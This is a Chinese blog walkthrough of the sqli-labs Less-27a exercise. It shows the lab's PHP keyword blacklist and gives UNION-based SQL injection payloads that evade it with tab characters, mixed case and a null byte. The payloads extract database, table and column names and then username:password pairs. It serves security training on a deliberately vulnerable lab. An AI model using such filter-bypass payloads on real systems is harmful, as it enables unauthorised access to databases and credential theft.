sqli-labs-Less-27a

SQLI-LAPS 实验记录

Less-27a

这一关与上一关类似,但闭合方式不同,变为了",那么过关方式就可以%09制表符应对空格,以大小写绕过的方式应对'union','select'字符过滤。

php 复制代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,这次我们使用联合注入的方式,输入Payload如下:

php 复制代码
0" %09uniOn%09selEct%091,2,3;%00

结果如图所示,可以看到页面成功返回数值,那么我们就可以在相应的位置上进行注入。

这里要特别注意,最前面的id值设置为0,而不能设置为1或者-1,否则会影响到回显数值。


后续查找数据库库名、表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0" %09uniOn%09selEct%091,(database()),3;%00
  • 查找表名:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security'),3;%00
  • 查找列名:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users'),3;%00

    查找其他数据:

    php 复制代码
    0" %09uniOn%09selEct%091,(selEct%09concat(username,':',password)%09from%09security.users%09where%09(id=1)),3;%00

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
正在走向自律3 分钟前
国产替代不掉链子:KingbaseES如何做到MySQL零感迁移
mysql·金融行业·医疗行业·电科金仓·能源行业·交通行业·政务行业
一只小bit3 分钟前
JavaWeb 开发 —— 从 JDBC 到 Mybatis 数据库使用
数据库·maven·mybatis
爱吃牛肉的大老虎4 分钟前
PostgreSQL基础之安装
数据库·postgresql
yttandb6 分钟前
数据库的设计
java·数据库
敲敲千反田7 分钟前
复习MySQL
mysql
Atomic1213811 分钟前
HTTP隧道搭建
web安全·网络安全·渗透测试
Gauss松鼠会14 分钟前
openGauss数据库源码解析系列文章——存储引擎源码解析(一)
数据库·oracle·性能优化·database·opengauss
孫治AllenSun26 分钟前
【Canal】监听mysql的binlog日志,同步数据到redis和es
redis·mysql·elasticsearch
pupudawang30 分钟前
docker 安装 mysql
mysql·adb·docker
y = xⁿ30 分钟前
【黑马店铺二刷day02】将店铺查询信息添加到Redis中的业务操作
数据库·redis·缓存